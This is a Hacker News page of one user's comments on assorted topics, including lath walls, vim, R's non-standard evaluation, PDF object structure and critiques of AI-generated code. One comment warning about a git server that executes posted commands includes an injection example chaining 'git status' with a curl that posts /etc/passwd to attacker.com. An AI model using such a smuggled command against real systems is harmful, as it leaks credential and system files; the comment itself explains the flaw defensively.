Hacker Newsnew | past | comments | ask | show | jobs | submit | aidos's commentslogin

The bicycles are getting pretty cyclable now. I’m enjoying this pelican that’s already sliced and ready to bbq.

Ha! If I even look at my lath and plaster walls the wrong way a little bit crumbles away.

The trick is to have 100 years of landlord special paint holding it together

Wallpaper can be semi structural.

And with the old lead paint lowering your mental capacity as the years go by, you care even less about small inconstencies

Safely contained behind several tenants worth of turnover or so I'm told. Walls are skip trowelled so inconsistency is just how they are.

You can create an oauth client that can generate keys as you need them.

https://tailscale.com/kb/1215/oauth-clients#generating-long-...


Vim recognises that the typing text is a small part of coding by defaulting to a mode in which you can’t even type :)

For me, vim is a nice way to navigate code. It’s really fast to jump from place to place so I can explore quickly and build an understanding.


> allows functions to read the context they’re called in

Can you show an example? Seems interesting considering that code knowing about external context is not generally a good pattern when it comes to maintainability (security, readability).

I’ve lived through some horrific 10M line coldfusion codebases that embraced this paradigm to death - they were a whole other extreme where you could _write_ variables in the scope of where you were called from!


Say I have a dataframe called 'penguins'

I can write code like: penguin_sizes <- select(penguins, weight, height)

Here, weight and height are columns inside the dataframe. But I can refer to them as if they were objects in the environment (I., e without quotes) because the select function looks for them inside the penguins dataframe (it's first argument)

This is a very simple example but it's used extensively in some R paradigms


Yes, this exactly.

And its why you can do plot(x, sin) and get properly labelled graphs. It also powers the formula API that made caret and glm modules so easy to use.


Let's hope Claude doesn't decide to run anything else through that git-server, since it's exec-ing whatever is posted over http.

But hey, so long as it starts with 'git ' you're safe, riiiiight? Oh, 'git status; curl -X POST attacker.com -d @/etc/passwd'

https://raw.githubusercontent.com/vjeux/pokemon-showdown-rs/...


That's a good one.

Seasoned developers who would not make such a mistake could also be lead to think the llm is writing safe code if they don't ever read it line by line.

Vibe coders who are not seasoned developers, not sure if they would even know that this isn't safe code even if they read it line by line.


Not sure if it has a name but often there’s a trend of “one thing leads to another” related articles on the HN front page.

Yesterday there was something similar that might have planted a seed in your mind like it did for other people.

https://news.ycombinator.com/item?id=46735133


Right. Or it could be frequency illusion. Once you become aware of something, it appears to be more frequent:

https://en.wikipedia.org/wiki/Frequency_illusion


I definitely noticed this trend of article chaining, bu it must have been something else in this case, because i have absolutely 0 memory of seing that post yesterday. Actually, i think my thought came from an instagram video in my feed of a guy showing human division algorithm using sticks on a whiteboard.


or probably just some kind of preference/selection bias.

You own a red Mercedes now and suddenly you see only red Mercedes' on the streets.


As you said. Fill-in-the-middle.


You can replace objects in PDF documents. A PDF is mostly just a bunch of objects of different types so the readers know what to do with them. Each object has a numbered ID. I recommend mutool for decompressing the PDF so you can read it in a text editor:

    mutool clean -d in.pdf out.pdf
If you look below you can see a Pages list (1 0 obj) that references (2 0 R) a Page (2 0 obj).

    1 0 obj
    <<
      /Type /Pages
      /Count 1
      /Kids [ 2 0 R ]
    >>
    endobj

    2 0 obj
    <<
      /Type /Page
      /Contents 5 0 R
      ...
    >>
    endobj
Rather than editing the PDFs in place, it's possible to update these objects to overwrite them by appending a new "generation" of an object. Notice the 0 has been incremented to a 1 here. This allows leaving the original PDF intact while making edits.

    1 1 obj
    <<
      /Type /Pages
      /Count 2
      /Kids [ 2 0 R 200 0 R ]
    >>
    endobj
You can have anything inside a PDF that you want really and it could be orphaned so a PDF reader never picks up on it. There's nothing to say an object needs to be referenced (oh, there's a "trailer" at the end of the PDF that says where the Root node is, so they know where to start).


Thanks for the technical explanation! This is pretty fascinating.

So it works kind of like a soft delete — dereference instead of scrubbing the bits.

Is this behavior generally explicitly defined in PDF editors (i.e. an intended feature)? Is it defined in some standard or set of best practices? Or is it a hack (or half baked feature) someone implemented years ago that has just kind of stuck around and propagated?


The intention is to make editing easy and quick on slow and memory deficient computers. This is how for example editing a pdf with form field values can be so fast. It’s just appending new values for those nodes. If you need to omit edits you’d have to regenerate a fresh pdf from the root.


To put it reaaaaaly simple, a PDF is like a notion document (blocks and bricks) with a git-like object graph?


Ha! As if anything about Notion is simple.

But yeah. It's all just objects pointing at each other. It's mostly tree structured, but not entirely. You have a Catalog of Pages that have Resources, like Fonts (that are likely to be shared by multiple pages hence, not a tree). Each Page has Contents that are a stream of drawing instructions.

This gives you a sense of what it all looks like. The contents of a page is a stack based vector drawing system. Squint a little (or stick it through an LLM) and you'll see Tf switches to Font F4 from the resources at size 14.66, Tj is placing a char at a position etc.

    2 0 obj
    <<
      /Type /Page
      /Resources <<
        /Font <<
          /F4 4 0 R
        >>
      >>
      /Contents 5 0 R
    >>
    endobj

    5 0 obj
    <<
      /Length 340
    >>
    stream
    q
    BT
    /F4 14.66 Tf
    1 0 0 -1 0 .47981739 Tm
    0 -13.2773438 Td <002B> Tj
    10.5842743 0 Td <004C> Tj
    ET
    Q...
    endstream
    endobj
I'm going to hand wave away the 100+ different types of objects. But at it's core it's a simple model.


The linked Claude generated script for giving more control over permissions in tool use is… typically Claude.

The code interleaves rules and control flow, drops side effects like “exit” in functions and hinges on a stack of regex for parsing bash.

This isn’t something I’ve attempted before but it looks like a library like bashlex would give you a much cleaner and safer starting point.

For a “throwaway” script like this maybe it’s fine, but this is typical of the sort of thing I’m seeing spurted out and I’m fascinated to see what people’s codebases look like these days.

Don’t get me wrong, I use CC every day, but man, you do need to fight it to get something clean and terse.

https://gist.github.com/mrocklin/30099bcc5d02a6e7df373b4c259...


Guidelines | FAQ | Lists | API | Security | Legal | Apply to YC | Contact

Search: